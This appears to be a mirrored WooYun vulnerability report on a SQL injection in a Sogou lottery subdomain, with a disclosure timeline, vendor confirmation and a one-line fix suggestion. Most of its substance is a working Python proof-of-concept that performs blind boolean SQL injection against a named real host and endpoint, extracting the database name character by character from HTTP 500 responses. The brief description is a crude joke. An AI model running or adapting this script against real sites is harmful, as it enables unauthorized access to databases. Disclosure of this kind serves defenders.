搜狗某站存在SQL注入(附验证脚本)

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-04-23: 细节已通知厂商并且等待厂商处理中
2016-04-27: 厂商已经确认,细节仅向厂商公开
2016-05-07: 细节向核心白帽子及相关领域专家公开
2016-05-17: 细节向普通白帽子公开
2016-05-27: 细节向实习白帽子公开
2016-06-11: 细节向公众公开

简要描述:

一小乞丐在拾荒时捡到个神灯,他擦了擦竟然出来了个灯神。灯神对小乞丐说能满足他一个愿望,小乞丐想了想对灯神说:我想要士力架!话刚说完,小乞丐的下面就留出了鲜红的血液,小乞丐无助的望着灯神,灯神无奈的对他说:是你要试的……

详细说明:

站点:t.cp.sogou.com

为True时:

123.png



为Flase时:

123.png





database()长度为10



123.png

 

漏洞证明:

# -*- coding: utf8 -*-

#encoding=utf-8



import httplib



import time



import string



import sys



import urllib



import urllib2





headers = {



'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',

'Content-Type':'application/x-www-form-urlencoded'

}







payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')







print '[%s] Start to retrive MySQL database()' % time.strftime('%H:%M:%S', time.localtime())



database = ''



for i in range(1,11,1):



for payload in payloads:



try:

params = urllib.urlencode({'lotType': 'guangdong where ascii(substr(database(),'+str(i)+',1))='+str(ord(payload))+'#'})

conn = httplib.HTTPConnection('t.cp.sogou.com', timeout=20)



conn.request(method='POST', url="/yllt/ylltTool11x5/ltTool11x5/dataFile.php",body=params,headers=headers)



status = conn.getresponse().status

if status == 500:

database += payload



print '\r[scan in progress]' ,database



time.sleep(0.01)



break

conn.close()



except Exception, e:

print e





print ''



print 'database() is', database

修复方案:

预编译处理

版权声明:转载请注明来源 Vinc@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-27 18:42

厂商回复:

感谢支持

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:搜狗某站存在SQL注入(附验证脚本) - https://www.15qq.cn/wooyun/1010.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知